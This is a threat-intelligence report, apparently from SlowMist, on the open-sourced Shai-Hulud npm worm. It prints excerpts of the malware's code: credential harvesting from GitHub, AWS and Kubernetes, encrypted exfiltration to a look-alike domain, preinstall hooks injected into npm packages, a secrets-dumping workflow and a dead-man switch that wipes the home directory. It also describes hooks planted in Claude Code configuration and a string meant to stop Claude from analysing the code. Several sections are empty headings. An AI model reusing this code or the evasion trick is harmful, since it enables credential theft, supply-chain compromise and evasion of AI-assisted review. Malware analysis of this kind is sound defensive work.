Shai-Hulud Malware In-Depth Analysis: Open Source Means Loss of Control?

Shai-Hulud is a major cybersecurity threat targeting the open-source software supply chain. It is a self-propagating npm malicious worm that infects the open-source ecosystem. It is considered one of the largest supply chain attacks on npm in recent years, involving hundreds of malicious packages. The SlowMist MistEye threat intelligence system has issued multiple warnings.

On May 12, a threat actor group known as TeamPCP made a move that shocked the security community: they released the full source code of their self-developed credential-stealing malware, Shai-Hulud, on GitHub.

This was not a mistake, but a carefully planned “capability diffusion” operation.

I. Event Background

1 What is Shai-Hulud?

Shai-Hulud is a credential-stealing tool specifically designed for GitHub Actions CI/CD environments. Its name comes from the giant sandworm in the science fiction novel Dune, implying its powerful “devouring” ability — it consumes all sensitive credentials it can access.

2 What Happened?

TeamPCP did three things:

• Open-sourced the code: Released the full source code on GitHub.
• Used compromised accounts: Spread it via hacked GitHub accounts.
• Provided deployment manual: Included complete usage instructions.

There are now multiple active repositories, and the number continues to grow. The attackers even wrote directly in the repository titles:

A Gift From TeamPCP (TeamPCP’s gift)

This is highly ironic.

II. In-Depth Technical Architecture Analysis

2.1 Four-Layer Attack Architecture

Shai-Hulud Attack Architecture

Specific Code Implementation:

1. Entry Point and Main Exfiltration Target

Files: Shai-Hulud-Open-Source-main/package.json:11, Shai-Hulud-Open-Source-main/src/index.ts:96–98

Description: The project defaults to entering the malicious main logic on startup and points to a hard-coded exfiltration domain.

"start": "bun run ./src/index.ts"

const dest: SenderDestination = {
  domain: scramble("git-tanstack.com"),
  port: 443,
  path: scramble("router"),
};

2. Local and Cloud Sensitive Surface Collection

Files: Shai-Hulud-Open-Source-main/src/index.ts:35–37,137–141, src/providers/devtool/devtool.ts:19, src/providers/aws/credentials.ts:199,249, src/providers/kubernetes/kubernetes.ts:58,138

Description: The sample targets local files, GitHub CLI, AWS IMDS/IRSA, Kubernetes tokens, and API secrets simultaneously.

quickResults.push(await localProvider.execute());
quickResults.push(await shellProvider.execute());
quickResults.push(await runnerProvider.execute());

const token = execSync(scramble("gh auth token"), {

const IMDS = "http://169.254.169.254";
const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];

"/var/run/secrets/kubernetes.io/serviceaccount/token",
Authorization: `Bearer ${token}`,

3. Encrypted Exfiltration Packaging and POST

Files: Shai-Hulud-Open-Source-main/src/sender/base.ts:48,57, src/sender/domain/sender.ts:70

Description: Results are encrypted before being sent to the remote server, rather than just collected locally.

const encryptedKey = crypto.publicEncrypt(

const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);

body: JSON.stringify(envelope),

4. npm Supply Chain Implantation

Files: `Shai-Hulud-Open-Source-main/src/collector/collector.ts:39,61`, `src/mutator/npm/index.ts:68`, `src/mutator/npmoidc/index.ts:37,172–178`, `src/utils/config.ts:7`

Description: Once a token is captured, the sample directly modifies packages, injects code, and publishes them.

if (result.matches?.["npmtoken"]) {

const npmIntegration = new NpmClient(npmCheck);

pkg.scripts.preinstall = scramble("node setup.mjs");

pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME;
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`

"github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de",

5. GitHub Actions Secrets Export

Files: Shai-Hulud-Open-Source-main/src/providers/actions/workflow.ts:11,
src/assets/workflow.yml:9,13

Description: Confirms that it disguises a GitHub Actions workflow to serialize secrets into artifacts, which are then retrieved.

const BRANCH_NAME = scramble(
  "dependabot/github_actions/format/setup-formatter",
);

VARIABLE_STORE: ${{ toJSON(secrets) }}
run: echo "$VARIABLE_STORE" > format-results.txt

6. GitHub Fallback Exfiltration and Local Persistence

Files: Shai-Hulud-Open-Source-main/src/sender/github/githubSender.ts:58,89,157,
src/assets/DEADMAN_SWITCH.sh:48–49,96

Description:
Confirms that the fallback sender commits the exfiltration results and installs a token monitoring persistence script.

await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

? `${SEARCH_STRING}:${envelope.token}`

HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${GITHUB_TOKEN}" \

launchctl bootstrap "gui/$(id -u)" "${PLIST_PATH}"

7. De-obfuscated View Confirming Installation-Time Payload

Files: Shai-Hulud-Open-Source-main/src/assets/config.mjs:171–186 (based on de-obfuscated view)

Description: The de-obfuscation results clearly show that setup.mjs downloads the Bun runtime and executes ai_init.js, which helps confirm the installation-time execution chain.

const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
await dl(u, zp);
execFileSync(bp, [ep], {
  stdio: "inherit",
  cwd: D
});

2.2 Credential Stealing Scope

This is one of the most comprehensive credential collection tools for developer environments to date.

2.3 Token Recognition Capabilities

The malware has a powerful built-in regex engine for detecting:

// GitHub Personal Access Token
ghtoken:  /gh[op]_[A-Za-z0-9]{36}/g

// npm Token
npmtoken: /npm_[A-Za-z0-9]{36,}/g

// GitHub App JWT
ghs_jwt:  /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g

2.4 Attack on Claude Code

This is one of the highlights of the case. The malware has been specifically optimized for Claude Code:

• Modifies Claude configuration files: ~/.claude.json, ~/.claude/mcp.json
• Injects execution hooks: automatically executes malicious code when Claude starts
• “Anthropic Magic String”: Uses a special string to prevent Claude from analyzing it

// Targeted files identified
"~/.claude.json"
"~/.claude/mcp.json"
".kiro/settings/mcp.json"

Why target Claude Code?
Claude Code is frequently used on developer workstations that hold high-privilege GitHub Tokens, making it a high-value target for credential theft.

III. Developer Profile

3.1 Code Quality Assessment

Conclusion: This is a professional-grade malware. The developer possesses enterprise-level software development capabilities.

3.2 Developer Geographic Analysis

There is a very interesting piece of logic in the code:

// src/utils/config.ts
export function isSystemRussian(): boolean {
 const locale = Intl.DateTimeFormat().resolvedOptions().locale;
 if (locale.startsWith("ru")) return true;  // Excluding Russian systems
 // ...
}

Possible Reason for Excluding Russian-Language Systems:

SlowMist Agent Insight: The deliberate exclusion of Russian-language systems most likely suggests that the developers themselves have close ties to Russian-speaking regions.

3.3 C2 Server Analysis

C2 domain: git-tanstack.com
Impersonating the legitimate domain: tanstack.com
Path: /router

This is a typical domain impersonation attack technique, intended to make malicious traffic appear as if it belongs to the legitimate TanStack project.

IV. Tracking Analysis: TeamPCP

4.1 Operational Traces

We identified the following interesting clues:

4.2 Related Accounts

Three suspicious accounts were found to be associated with the Shai-Hulud code:

The cat is TeamPCP’s signature — agwagwagwa’s “meow!” repository convinced security researchers that this was no coincidence.

4.3 “Anthropic Magic String”

The malware contains a special string specifically designed to prevent Claude Code from analyzing it:

// Found in multiple configuration files
// Accounts containing this string in their profile will not be analyzed by Claude

This further confirms the attackers’ familiarity with AI security tools.

V. Impact of Open Sourcing: Pandora’s Box is Open

5.1 From “Exclusive Weapon” to “Public Service”

The open-sourcing by TeamPCP means:

• Before: Only TeamPCP could launch Shai-Hulud attacks.
• Now: Anyone can deploy their own Shai-Hulud variants.

5.2 Copycats are Already in Motion

Our intelligence shows that forkers have begun modifying the code and expanding the attack scope:

• agwagwagwa has submitted a PR to add FreeBSD support.
• More repositories are emerging.
• Tracking is possible via GitHub search for “A Gift From TeamPCP”.

5.3 Threat Level Escalation

VI. Summary of IoC (Indicators of Compromise)

VII. Protection Recommendations

7.1 For Developers

7.2 For Enterprises

7.3 Quick Check List

# Check for suspicious workflows in GitHub Actions
cat ~/.git-credentials
# Check access logs/metadata for SSH private keys
ls -la ~/.ssh/
# Check Claude configurations
cat ~/.claude.json
cat ~/.claude/mcp.json
# Check AWS credentials
cat ~/.aws/credentials

VIII. Conclusion

The Shai-Hulud open-source incident is one of the most significant cybersecurity events of 2026:

Core Warning: Open-source malware = Pandora’s Box is open. The era of shifting from “small gangs” to “wolf packs” has arrived. Attackers are already in motion — are you ready?

This report was authored by the SlowMist Threat Intelligence Team, utilizing the MistEye Intelligence System and SlowMist Agent (AI-driven analysis). For any inquiries or feedback, please contact us.

References

[1] https://github.com/search?q=A+Gift+From+TeamPCP&type=repositories&s=updated&o=desc

About SlowMist

SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.

SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.

By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.